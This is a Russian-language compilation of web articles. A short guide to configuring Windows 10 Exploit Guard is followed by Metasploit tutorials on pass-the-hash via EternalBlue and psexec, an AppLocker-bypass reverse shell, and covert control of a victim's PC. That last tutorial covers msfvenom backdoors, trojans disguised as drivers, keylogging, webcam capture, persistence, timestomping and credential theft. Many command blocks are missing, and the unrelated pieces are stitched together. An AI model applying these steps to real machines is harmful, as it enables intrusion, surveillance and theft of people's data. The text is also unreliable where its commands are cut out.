- Как настроить Защиту от эксплойтов в Windows 10
- Центр безопасности Защитника Windows
- PowerShell
- Импорт и экспорт конфигураций
- Использование настроек защиты от эксплойтов
- Использование PowerShell для экспорта файла конфигурации
- Использование PowerShell для импорта файла конфигурации
- Использование групповых политик для установки файла конфигурации
- Атака Pass-the-Hash и получение системного доступа в Windows
- Статья Hack Windows 10 (meterpreter)
- HackWare.ru
- Этичный хакинг и тестирование на проникновение, информационная безопасность
- Скрытое управление компьютером на Windows (используя Metasploit)
- Оглавление
- 1. Введение
- 2. Что такое полезная нагрузка (payload)
- 3. Что такое бэкдоры и трояны
- 4. Инструкция по использованию MSFvenom – генератора полезной нагрузки
- 5. Как создать полезную нагрузку
- 6. Виды полезной нагрузки MSFvenom
- 7. Как узнать опции полезной нагрузки MSFvenom
- 8. Форматы полезной нагрузки
- 9. Примеры генерации полезной нагрузки в MSFvenom
- 10. Работа с бэкдорами в Metasploit
- 11. Основы работы в Meterpreter (Meta-Interpreter)
- 12. Скрытый доступ к удалённому рабочему столу (VNC)
- 13. Закрепление доступа
- 14. Модули последующей эксплуатации Metasploit
- 15. Когда обратный шелл не нужен
- 16. Заключение
Как настроить Защиту от эксплойтов в Windows 10
Exploit Guard- новая функция безопасности Защитника Windows, которая была впервые представлена Microsoft в Windows 10 Fall Creators Update.
Защита от эксплойтов представляет собой интегрированную версию инструмента Microsoft EMET (Enhanced Mitigation Experience Toolkit), поддержка которого завершится в середине 2018 года.
Защита от использования уязвимостей включена по умолчанию, если активен Защитник Windows. Эта функция является единственной функцией Exploit Guard, которая не требует включения защиты в режиме реального времени.
Данную функцию можно настроить в Центре безопасности Защитника Windows, с помощью групповых политик или команд PowerShell.
Центр безопасности Защитника Windows
Пользователи Windows 10 могут настроить защиту от эксплойтов в Центре безопасности Защитника Windows.
- Используйте сочетание клавиша Windows + I для запуска приложения “Параметры”.
- Перейдите в “Обновление и безопасность”, затем выберите пункт “Защитник Windows”.
- Нажмите кнопку Открыть Центр безопасности Защитника Windows.
- Выберите панель “Управление приложениями и браузером”.
- На открывшейся странице выберите ссылку Параметры защиту от эксплойтов.
Все настройки разделены на две категории: Системные параметры и Параметры программ.
На вкладке Системные параметры выводится список всех доступных механизмов защиту с их статусом. В Windows 10 Fall Creators Update доступны следующие защиты:
- Защита потока управления (CFG) — вкл. по умолчанию.
- Предотвращение выполнения данных (DEP) — вкл. по умолчанию.
- Принудительное случайное распределение для образов (обязательный ASLR) — выкл. по умолчанию.
- Случайное распределение выделения памяти (низкий ASLR) — вкл. по умолчанию.
- Проверить цепочки исключений (SEHOP) — вкл. по умолчанию.
- Проверка целостности кучи — вкл. по умолчанию.
Параметры программ дают вам возможность настраивать защиту для отдельных программ и приложений. Данная опция работает аналогично функции исключений в Microsoft EMET для определенных программ. Данная возможность будет особо полезной, если программа ошибочно работает, когда включены определенные защитные модули.
По умолчанию несколько программ добавлены в исключения, в частности svchost.exe, spools.exe, runtimebroker.exe, iexplore.exe и другие основные программы Windows. Обратите внимание, что вы можете переопределить эти исключения, выбрав файлы и нажав кнопку “Редактировать”.
Нажмите ссылку “Добавление программы для индивидуальной настройки”, чтобы добавить приложение в список исключений.
Вы можете установить отдельный статус всех поддерживаемых защит для каждой программы, которую вы добавили в настройках программы. Помимо переопределения системного параметра по умолчанию и принудительного его включения или отключения, существует также возможность установить параметр только для аудита. В последнем случае будет происходить запись событий, которые происходили, если бы статус защиты был включен, в системный журнал Windows.
В списке “Параметры программ” перечислены дополнительные параметры защиты, которые невозможно настроить под системными параметрами, поскольку они настроены для работы только на уровне приложения.
- Защита от произвольного кода (ACG)
- Блокировка образов низкой целостности
- Блокировка удаленных образов
- Блокировка ненадежных шрифтов
- Защита целостности кода
- Отключение точек расширения
- Отключение вызовов системы Win32k
- Не разрешать дочерние процессы
- Фильтрация адресов экспорта (EAF)
- Фильтрация адресов импорта (IAF)
- Имитация выполнения (SimExec)
- Проверка вызовов API (CallerCheck)
- Проверка использования дескриптора
- Проверка целостности зависимостей образа
- Проверка целостности стека (StackPivot)
PowerShell
Вы можете использовать командную строку PowerShell для установки, удаления или изменения списка мер. Доступны следующие команды:
Чтобы просмотреть все защитные меры указанного процесса: Get-ProcessMitigation -Name processName.exe
Чтобы установить защитную меру: Set-ProcessMitigation — — , ,
Область действия: -System или -Name .
Действие: либо -Enable или -Disable .
Мера: название защитной меры. Обратитесь к таблице на сайте Microsoft, чтобы посмотреть список доступных мер. Вы можете отделить несколько мер запятой.
- Set-Processmitigation -System -Enable DEP
- Set-Processmitigation -Name test.exe -Remove -Disable DEP
- Set-ProcessMitigation -Name processName.exe -Enable EnableExportAddressFilterPlus -EAFModules dllName1.dll, dllName2.dll
Импорт и экспорт конфигураций
Конфигурации можно импортировать и экспортировать. Данные операции можно сделать на странице “Параметров защиты эксплойтов” в Центре безопасности Защитника Windows, а также с помощью PowerShell или редактора групповых политик.
Кроме того, конфигурации EMET можно преобразовать для последующего импорта.
Использование настроек защиты от эксплойтов
Вы можете экспортировать конфигурации в приложении “Центр безопасности Защитника Windows”, но не импортировать их. Экспорт добавляет все меры уровня системы и уровня приложения.
Нажмите ссылку “Параметры экспорта” и выберите местоположение для файла .XML с настройками.
Использование PowerShell для экспорта файла конфигурации
- Откройте Powershell с правами администратора устройства.
- Запустите команду: Get-ProcessMitigation -RegistryConfigFilePath filename.xml
Измените путь и filename.xml, указав требуемое местоположение и название файла.
Использование PowerShell для импорта файла конфигурации
- Откройте Powershell с правами администратора устройства.
- Запустите команду: Set-ProcessMitigation -PolicyFilePath filename.xml
Использование групповых политик для установки файла конфигурации
Вы можете установить файлы конфигураций с помощью редактора групповых политик:
Атака Pass-the-Hash и получение системного доступа в Windows
В этом руководстве мы научились использовать хэши для аутентификации в системе на базе Windows и реализовали атаку pass-the-hash.
Пароли в Windows хранятся в виде хэшей и иногда могут быть устойчивы к взлому. Однако в некоторых ситуациях мы можем обойтись без пароля в чистом виде и использовать только хэш. Особенно интересны случаи, когда доступен хэш административной учетной записи, поскольку затем можно получить более высокие привилегии, реализовав атаку под названием pass-the-hash.
Вначале мы будем извлекать хэш в системе Windows 7 и далее перейдем к серверу Windows Server 2016. Пользователь, чей хэш мы будем получать, должен иметь административные привилегии и быть авторизованным на обеих машинах. В качестве рабочей среды будет использоваться Kali Linux.
Для понимания техники pass-the-hash вначале следует разобраться, как устроен хэш. В Windows типичный хэш выглядит примерно так:
Строка выше состоит из четырех секций, разделенных двоеточиями. Первая часть – имя пользователя, вторая – относительный числовой идентификатор.
Третья часть представляет собой LM хэш, прекративший использоваться, начиная с Windows Vista/Server 2008. На данный момент вы навряд ли встретите где-либо подобный тип, если только в старых системах. В случае если вы столкнетесь с подобными ситуациями, считайте, что вам повезло, поскольку эти хэши легко взламываются.
Четвертая часть представляет собой NTLM хэш (иногда называемый NTHash). С обновленной версией, используемой в современных системах Windows и более устойчивой ко взломам, мы и будем работать во время реализации атаки pass-the-hash.
Наш сценарий основан на эксплуатации схемы хранения / передачи паролей и механизма аутентификации. Пароли не передаются по сети в открытом виде, а шифруются в момент создания.
Во время аутентификации пароль шифруется сразу же после ввода. Учитывая вышесказанное, можно заключить, что компьютер не видит разницы между паролем и хэшем, и мы можем во время аутентификации воспользоваться хэшем, вместо пароля в чистом виде.
Ситуация становится еще более интересной, когда мы знаем имя пользователя с административными правами и хэш.
Шаг 1: Получение хэша в целевой системе
Вначале нужно скомпрометировать первую цель. При реализации этого сценария мы имеем дело с обычной рабочей станцией на базе Windows 7. Метод можно использовать любой, но мы предполагаем, что система уязвима к эксплоиту EternalBlue.
Эксплуатацию уязвимости будем выполнять при помощи Metasploit. Приступаем:
Запускаем модуль «eternalblue». Для более подробного ознакомления с этим модулем, рекомендуют ознакомиться с руководством по эксплуатации EternalBlue на Windows-сервере.
В Meterpreter есть полезная команда hashdump, позволяющая выгрузить любые LM или NTLM хэши в целевой системе:
По результатам выгрузки отмечаем, что у пользователя «admin2» скорее всего административные привилегии. Этот хэш мы будем использовать для подключения к другой машине.
Предположим, что другой компьютер также находится в сети, например, в роли сервера и, возможно, в качестве контроллера домена на базе Windows Server 2016. Если мы получим доступ к этой машине, то сможем получить контроль над всей сетью и любым компьютером домена.
Шаг 2: Реализация атаки Pass-the-Hash при помощи модуля PsExec
Полученный хэш привилегированного пользователя можно использовать для аутентификации на сервере Windows Server 2016 без знания пароля. Будем использовать модуль psexec (там же в Metasploit).
PsExec представляет собой утилиту, позволяющую работать из командной строки, для запуска программ и команд в удаленных системах. Этот инструмент полезен для администраторов, поскольку интегрирован с консольными приложениями и утилитами с целью удобного перенаправления входных и выходных данных. Однако здесь мы опять сталкиваемся с компромиссом между удобством и безопасность, поскольку PsExec может использоваться злоумышленниками для выполнения вредоносных команд или выступать в качестве бэкдора.
В Metasploit есть модифицированная версия PsExec, позволяющая легко подключаться к удаленным целям. Для поиска местонахождения этого модуля воспользуемся командой search:
Psexec зарекомендовал себя неоднократно. Загружаем этот модуль при помощи команды use.
Смотрим текущие настройки, используя команду options:
Вначале нужно установить IP-адрес цели (то есть сервера, к которому мы хотим подключиться):
Затем мы можем указать имя пользователя и пароль, используя полученный ранее хэш вместо обычного пароля.
Теперь указываем полезную нагрузку. Будем использоваться классический Reverse TCP из Meterpreter: Также указываем IP-адрес локальной машины и желаемый порт:
Остальные опции оставляем по умолчанию. Запускаем команду run:
У нас появилась meterpreter-сессия. Для подтверждения вводим команды getuid / sysinfo и получаем информацию о целевой системе.
Прекрасно. Без знания пароля нам удалось получить доступ к серверу. По сути, у нас полный контроль над системой.
В целом, довольно сложно защититься от подобного рода атак, поскольку мы используем стандартные механизмы аутентификации. Единственный надежный вариант – реализовать комплекс мероприятий для заблаговременного предотвращения неприятных последствий.
Также следование принципу минимальных привилегий сократит или даже исключит вероятный ущерб в случае, если злоумышленник получит хоть какой-то доступ к сети. Кроме того, нужно предпринимать и другие стандартные меры, как, например, фаервол и системы IDS/IPS для мониторинга и предотвращения любой вредоносной активности.
В Windows можно отключить кэширование учетных записей, чтобы злоумышленник не смог добраться до хэшей в памяти. Не лишним будет и изолировать важные системы в сети.
В этом руководстве мы научились использовать хэши для аутентификации в системе на базе Windows и реализовали атаку pass-the-hash. После компрометирования первоначальной цели, не очень высокого уровня, был получен список хэшей, среди которых оказалась учетная запись с административными правами. Далее при помощи Metasploit был получен системный доступ к серверу.
Статья Hack Windows 10 (meterpreter)
Привет всем! В этой небольшой теме я хочу показать очередной способ взлома Windows, на этот раз это Windows 10. После обновления Metasploit в нем появился достаточно любопытный эксплоит (хотя, может он и раньше там был) — regsvr32_applocker_bypass_server
Итак, приступим, в терминале, вводим следующие команды:
> msfconsole (запускаем Metaslpoit)
> options (посмотрим доступные настройки эксплойта)
> set payload windows/meterpreter/reverse_tcp
> set LHOST 192.168.0.101 (Ваш локальный адрес)
Если все прошло успешно видим следующее:
То, что я выделил цветом, это команда, которую необходимо ввести в командной строке целевого хоста, для получения сессии meterpreter.
После выполнения команды, в терминале Kali Linux откроется сессия:
> sessions –I 1 (Подключимся к ней)
> ps (Посмотрим список процессов на целевом хосте)
Тестировал я этот способ на реальном ПК с установленной на нем:
HackWare.ru
Этичный хакинг и тестирование на проникновение, информационная безопасность
Скрытое управление компьютером на Windows (используя Metasploit)
Оглавление
1. Введение
В этой заметке будет рассмотрен вопрос скрытого управление компьютером на Windows.
Указанная задача может быть решена различными способами. В том числе с применением легитимных программ – к примеру, VNC серверами, TeamViewer (если добавить в автозапуск и скрыть отображение иконки в трее), а также специализированного ПО, в том числе коммерческого. Здесь будет показано, как контролировать чужой компьютер используя Metasploit.
Статья не охватывает проблему доставки полезной нагрузки, инфицирования компьютера жертвы и вопросы предотвращения обнаружения, в том числе антивирусами. Главная цель этого материала – взглянуть на бэкдор глазами хакера для понимания принципов работы и значения угроз. Будет показано, как получить полный доступ над файловой системой, загружать или запускать любой файл, менять разнообразные системные настройки и даже выходить за пределы компьютера: делать снимки веб-камерой, делать видео- и аудио- захват с веб-камеры.
На протяжении все статьи будет постоянно употребляться термин «полезная нагрузка» (payload) и некоторые другие. Поэтому начнём с определения этих понятий.
2. Что такое полезная нагрузка (payload)
В статьях и учебниках по компьютерной безопасности можно часто встретить слово payload. Буквально оно переводится как «полезная нагрузка». Под этим словом подразумевают код или часть вредоносной программы (червей, вирусов), который непосредственно выполняет деструктивное действие: удаляет данные, отправляет спам, шифрует данные, открывает подключение для хакера и т.д. Вредоносные программы также имеют overhead code (буквально «служебный код»), под которым понимается та часть кода, которая отвечает за доставку на атакуемую машину, самостоятельное распространения вредоносной программы или препятствует обнаружению.
Т.е. «полезная нагрузка» для пользователя («жертвы») является совсем не полезной.
Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.
Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.
3. Что такое бэкдоры и трояны
Бэкдор – это программа или технология, дающая несанкционированный доступ к компьютеру или другому устройству (роутер, телефон).
В нашем случае, генерируемая с помощью MSFvenom полезная нагрузка является бэкдором.
Троян – это программа, которая замаскирована под легитимную программу, но несёт в себе полезную нагрузку. Очень часто этой полезной нагрузкой является бэкдор.
Т.е. если мы к файлу программы «Калькулятор», добавили полезную нагрузку – это будет троянская программа с бэкдором. Если мы сгенерировали полезную нагрузку, разместили на компьютере цели и, например, добавили файл в автозагрузку – то это будет бэкдор.
Иногда термины троян и бэкдор используют как взаимозаменяемые. Антивирусные компании при наименовании вирусов обычно используют Trojan, даже если программа не маскируется под другую легитимную программу, а является чистым бэкдором, поскольку для доставления полезной нагрузки часто используется социальная инженерия – что вполне вписывается в концепцию Троянского Коня.
Для целей этой статьи классификация на трояны и бэкдоры неважна. MSFvenom генерирует бэкдоры, но с ключом -x (позволяющим указывать пользовательский исполнимый файл для использования в качестве шаблона) можно генерировать трояны, у которых в качестве полезной нагрузки будет бэкдор.
4. Инструкция по использованию MSFvenom – генератора полезной нагрузки
Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. Она заменила две другие программы – msfpayload и msfencode, это произошло 8 июня 2015.
Знакомство с программой начнём со справки по её опциям.
В справке упоминается nopsled, вы можете найти дополнительную информацию о NOP slide в Википедии (хотя для наших целей это неважно).
5. Как создать полезную нагрузку
Для генерации полезной нагрузки обязательными являются два флага: -p and -f.
- -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
- lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
- lport=4444 – порт, к которому будет делаться обратное соединение
- -f exe – формат полезной нагрузки (исполнимый файл Windows)
- -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл
6. Виды полезной нагрузки MSFvenom
Как уже было сказано, флаг -p является обязательным. После него нужно указать то, чего мы хотим от полезной нагрузки.
Чтобы вывести список всех полезных нагрузок, которые поддерживает платформа Metasploit, выполните команду:
Будет выведен такой список:
Список длинный, включает в себя 538 пунктов (на момент написания) под самые разные платформы. Каждая запись состоит из двух столбцов: название полезной нагрузки (которое нужно указывать после опции -p) и её краткое описание.
Название начинается с указания платформы, затем может идти используемая техника или архитектура, в самом конце будет указана основная цель полезной нагрузки. Например, запись windows/meterpreter/reverse_tcp означает внедрение DLL сервера meterpreter через Reflective Dll Injection payload, с образованием обратного соединения до атакующего. Говоря простыми словами, будет создан реверсивный (обратный) шелл до атакующего, который позволит ему управлять целевым компьютером через meterpreter.
Слово meterpreter означает управление через Meterpreter (полное название Meta-Interpreter). Это многогранная программа, она является частью Metasploit с 2004. Работает она через dll внедрение. Скрипты и плагины загружаются и выгружаются динамически. Основы работы с Meterpreter будут раскрыты ниже.
Во многих названиях используются слова bind и reverse. Слово bind означает, что на атакуемой машине процесс будет прослушивать определённый порт, ожидая, пока атакующий подключится к нему. А reverse означает, что на атакуемой машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие файерволы настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти файервол.
Ключевое слово vncinject означает задействование технологии Virtual Network Computing (VNC) – удалённого доступа к рабочему столу.
Если в имени полезной нагрузки присутствует upexec, значит её цель загрузить и выполнить исполнимый файл.
shell означает открытие командной оболочки.
Ключевое слово dllinject относится к технике Reflective DLL injection. При её использовании полезная нагрузка внедряется в запущенный процесс, прямо в оперативной памяти. При этом она никогда не касается жёстких дисков. Полезные нагрузки VNC и Meterpreter используют reflective DLL injection.
В самом конце обычно стоит указание на используемый для соединения протокол, им может быть: http, https, tcp, ipv6_tcp, tcp_dns, winhttp, winhttps и другие варианты. Могут использоваться слова proxy (соответственно, соединение через прокси), allports (пробовать соединиться на всех возможных портах), uuid (соединение с поддержкой UUID).
Имеется несколько специфичных полезных нагрузок:
- windows/adduser. Создаёт пользователя и добавляет его в группу локальных администраторов.
- windows/dns_txt_query_exec. Выполняет TXT запросы к ряду DNS записей и выполняет полученную полезную нагрузку.
- windows/download_exec. Загружает EXE с HTTP(S)/FTP URL и выполняет его.
- windows/exec. Выполняет произвольную команду.
- windows/format_all_drives. Форматирует все смонтированные в Windows диски (также известная как ShellcodeOfDeath). Если код по каким-либо причинам не может получить доступ к диску, то он пропускает диск и переходит к обработке следующего тома.
- windows/loadlibrary. Загружает библиотеку по произвольному пути.
- windows/messagebox. Показывает диалоговое сообщение через MessageBox, используя настраиваемый заголовок, текст и иконку.
По принципу работы, полезную нагрузку можно разделить на два типа:
- «выстрелил и забыл» (может быть доставлена, например, на USB носителе, не требует сетевого соединения)
- требующую дополнительных действий пользователя после запуска
К «выстрелил и забыл» можно отнести форматирование всех дисков, выполнение определённых команд, создание нового пользователя.
Большую группу составляют полезные нагрузки, открывающие доступ к оболочке, серверу meterpreter – после их запуска пользователь должен к ним подключиться для выполнения команд.
7. Как узнать опции полезной нагрузки MSFvenom
У многих полезных нагрузок имеются опции. Для их показа применяется флаг —list-options. Также нужно использовать флаг -p, после которого нужно указать название интересующей полезной нагрузки.
Столбец Required показывает, является ли опция обязательной. Для некоторых опций предусмотрено значение по умолчанию. Если для обязательной опции отсутствует значение по умолчанию, то его нужно указать при генерации полезной нагрузки. Например, для windows/meterpreter/reverse_tcp нужно обязательно указать LHOST.
Вспомним наш пример:
В нём lport=4444 можно было не указывать, поскольку всё равно применяется значение по умолчанию. А опция LHOST установлена как «lhost=IP_атакующего».
8. Форматы полезной нагрузки
Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки.
Чтобы вывести список всех поддерживаемых форматов, выполните команду:
9. Примеры генерации полезной нагрузки в MSFvenom
Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше:
Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой
Чтобы узнать внешний IP:
Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196):
И будет создан файл backdoor.exe.
Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку.
Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1.
Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку.
Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1:
Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру.
Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл.
Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток:
10. Работа с бэкдорами в Metasploit
На «атакующей» машине запускаем Metasploit:
Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.
Нужно установить настройки – IP и порт локальной машины:
Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.
Когда настройки сделаны, запустите выполнение модуля:
Теперь на «цели» запустите исполнимый файл с полезной нагрузкой. Как только это будет сделано, бэкдор подключится к машине атакующего и откроется сессия meterpreter:
11. Основы работы в Meterpreter (Meta-Interpreter)
Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:
Основные команды:
Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.
Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:
Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:
Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:
Сетевые команды:
Системные команды:
Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.
Команды пользовательского интерфейса:
Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.
Для начала захвата нажатия клавиш введите:
Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:
Команды для управления веб-камерой:
На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните
В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):
Будет сделана и показана фотография с веб-камеры удалённого компьютера.
Команды вывода аудио:
Команды повышения привилегий:
Команда для работы с базой данных паролей:
Команды для работы с Timestomp (временными метками файла):
Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.
12. Скрытый доступ к удалённому рабочему столу (VNC)
Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:
Далее запустите Metasploit (если вы это ещё не сделали):
Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).
После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.
В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.
На машине атакующего должен быть установлен VNC клиент (просмотрщик).
13. Закрепление доступа
До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:
Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.
Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.
Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.
Ещё один пример:
Модуль вывел следующую информацию:
Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.
14. Модули последующей эксплуатации Metasploit
post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.
- post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
- post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
- post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
- post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows
Количество модулей достаточно велико:
Все эти модули можно применять во время сеанса Meterpreter.
15. Когда обратный шелл не нужен
Если вы можете установить бэкдор на целевой компьютер, то вполне возможно, что вам подойдут другие альтернативы, а обратный шелл просто не нужен. Например, если на целевой машине уже запущен SSH сервер, то вы можете попытаться добавить к нему нового пользователя и использовать его.
Если целевая машина – это веб-сервер, который поддерживает на стороне сервера язык программирования, то вы можете оставить бэкдор на этом языке. Например, многие сервера Apache поддерживают PHP, в этом случае вы можете использовать PHP «web shell». IIS сервера обычно поддерживают ASP, или ASP.net. Metasploit Framework предлагает полезные нагрузки на всех этих языках (и многих других).
Аналогично для VNC, удалённого рабочего стола, SMB (psexec), других инструментов удалённого администрирования и т.д.
16. Заключение
Итак, как мы могли сами убедиться MSFvenom позволяет генерировать полезную нагрузку, а Meterpreter помогает скрыто управлять удалённой системой.
В целом это обзорная статья, цель которой – показать некоторые возможности Metasploit. В реальной практической ситуации нужно подобрать полезную нагрузку в соответствии с разными сценариями: на случай смены IP жертвой, на случай смены IP атакующим, решить проблемы доставки полезной нагрузки и избежание обнаружения антивирусами.